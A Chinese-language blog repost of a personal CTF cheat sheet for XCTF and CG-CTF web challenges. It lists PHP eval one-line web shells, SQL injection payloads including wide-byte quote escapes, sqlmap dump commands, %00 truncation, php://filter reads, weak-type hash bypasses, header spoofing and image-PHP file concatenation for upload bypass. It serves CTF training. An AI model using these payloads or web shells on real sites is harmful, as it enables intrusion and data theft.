欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

CTF个人总结指南(更新中)

发布时间:2023/12/31 编程问答 31 豆豆
生活随笔 收集整理的这篇文章主要介绍了 CTF个人总结指南(更新中) 小编觉得挺不错的,现在分享给大家,帮大家做个参考.
XCTF总结:
  • 查看源码
    ctrl+U
    F12
    view-source:
    Burpsuite

  • robots.txt

  • 扫描目录脚本:桌面dirsearch-master
    命令:C:\Users\Yuen>python C:\Users\Yuen\Desktop\dirsearch-master\dirsearch.py -u http://111.198.29.45:50014/ -e *

  • 常见备份文件名
    .git
    .svn
    .swp
    .~
    .bak
    .bash_history

  • 注意cookie

  • 有些页面需要达到条件才能拿到flag,可以试试查看前端代码,并修改

  • X-Forwarded-For:123.123.123.123/Referer:https://www.google.com

  • 遇到登陆账号密码的,用bp进行爆破

  • 常用一句话

<?php @eval($_GET['cmd']); ?> <?php @eval($_POST['cmd']); ?> <?php @eval($_REQUEST['cmd']); ?>
  • 命令执行

command1 & command2 :不管command1执行成功与否,都会执行command2
command1 && command2 :先执行command1执行成功后才会执行command2 ,若command1执行失败,则不执行command2
command1 | command2 :只执行command2(将上一个命令的输出作为下一个命令的输入)
command1 || command2 :command1执行失败,再执行command2(若command1执行成功,就不再执行command2)

  • sqlmap爆破
    (1)全爆
    sqlmap -u “www.example” --dbs
    sqlmap -r xctfrequest.txt --dbs
    sqlmap -r xctfrequest.txt -D news --dump
    (2)慢慢爆
-D 数据库 -T 表名 -C 字段名 --dump
  • git泄露
    url访问:http://111.198.29.45:46634/.git/,出现泄露的文件,因此得出存在git文件泄露
    脚本:python GitHack.py http://111.198.29.45:31555/.git/

  • chrome://downloads,恢复恶意文件

  • 下载到附件后,查看代码可以根据代码内容修改后缀名查看

  • 浏览器会自动对url进行一次解码,有时需要两次编码

  • 序列化和反序列化

serialize() unserialize() O:4:"xctf":1:{s:4:"flag";s:3:"111";} __wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数 序列化字符串各部分简单释义: O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数 大括号内分别是:属性名类型;长度:名称:值类型:长度:值
  • intval函数
    去除小数点(0除外)的函数

注:

  • 源码看不出东西就抓包,有些进行url超链接的需要抓包

  • POST提交数据:需要在最后一行添加Content-Type: application/x-www-form-urlencoded

  • find / -name flag.txt

  • 有时候有id=xx并不是一定存在sql注入,而是存在id的爆破,多多尝试

  • copy 1.jpg/b + 1.php/a 11.jpg

  • ==是判断返回true还是false

  • 一定仔细看题目,那就是提示

  • extract(),查询php官网得知这个函数会将参数里数组的键名当作变量名,值作为变量的值。

  • 上传时的1.php.jpg的00截断和Content-Type:

CG-CTF总结:
  • 修改前端代码长度
  • 图片源码查看可能有flag
  • 源码页面层层递进
  • 文字编码后,打开新txt,之后以Unicode格式保存(右键另存为),之后再放入控制台运行
  • 页面存在超链接,注意真正的链接会被重定向,考虑查看源代码或者使用bp
  • 文件包含伪协议php://filter/read=convert.base64-encode/resource=index.php
  • 修改cookie
  • robots.txt
  • 引号被转义,可以使用%df和\合成運,注释符可以是%23(#如果被过滤的话就url编码)或者–+
  • ereg()函数%00截断
    ereg()在匹配字串是检测到%00会停止,而strpos()会继续,故构造nctf=1%00%23biubiubiu即可得到flag(%23因为浏览器会自动解吗一次,只使用#会被浏览器自动解码成空)
  • php弱类型
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
  • post变量覆盖
    register_global=ON时POST传入数据值会覆盖掉php中变量值,源码中对post数据进行了extract()处理,extract()函数会将数组中的值赋给对应索引
  • 1.php%00截断不行,就把%00替换为空格标记该位置,在16进制中找到对应的位置,把20(空格的16进制是20)改为00截断
  • sql注入有源码给你看时,可能需要构造payload
正如下面user需要等于admin if($_POST[user] && $_POST[pass]) $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";//$user带进去后,这里的双引号就会消失的 构造语句:user=admin')#&pass=1111
  • strcmp()弱类型,传入数组时会返回null。所以post的数据为pass[]=1可以获取flag,pass=aa[]是不行的,必须要在参数pass后面加[]
  • 本地登录:抓包添加Client-ip:127.0.0.1或x-forwarded-for:127.0.0.1
  • 让两个数相等,要实现绕过还是可以使用16进制=10进制,十进制转16进制最好用python脚本,工具的转的hex(16进制不行)
  • sql注入:clean()函数去掉转义,htmlentities($str, ENT_QUOTES)会转换单引号和双引号。这里我们只能通过引入反斜杠,转义原有的单引号,改变原sql语句的逻辑,导致sql注入
    payload如下:?username=&password=%20or%201%23
  • 遇到一大串代码,就放到控制台里运行,乱码的话就先右键保存,转码后再放入控制台,也要注意请求头,响应头有没有提示
    如遇到history of bash,则url目录后访问/.bash_history,最后如果出现zip就下载
    例:
    zip -r mydata.zip mydata #压缩mydata目录 压缩成 mydata.zip 文件
    unzip mydata.zip -d mydatabak #解压mydata.zip 解压到mydatabak目录下
  • union前面的语句查询不成功的时候会执行后面的语句
  • vim这个东西异常退出时会留下临时文件常常是.swp、.swo格式。或者可能会留下备份文件~结尾文件,所以可以寻找action文件,例如是submit.php,之后在原本action的基础上加.sumbit.php.swp来查看submint.php的源码
  • 判断:0e11='0' //true 判断:000000...n个0='0' //true
  • 伪协议php://input访问请求的原始数据的只读流,如果无法显示flag就使用bp来进行post请求
  • 变量覆盖:foreach(name=meizijiu233 as $key => $value) //$key=name,$value=meizijiu233

注:PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径
application/octet-stream 未知的应用程序文件

application/json json数据

text/plain 未知的文本文件(纯文本文件),浏览器会认为这是可以直接显示的

注:浏览器分辨文件是基于MIME的,而不会把文件打开查看是否是其他类型,例如用link链接了一个标记为text/plain的文件,就算此文件是css文件,就算其后缀是.css,浏览器依旧不认

text/css css文件

text/html HTML文件

image/gif gif文件

总结

以上是生活随笔为你收集整理的CTF个人总结指南(更新中)的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。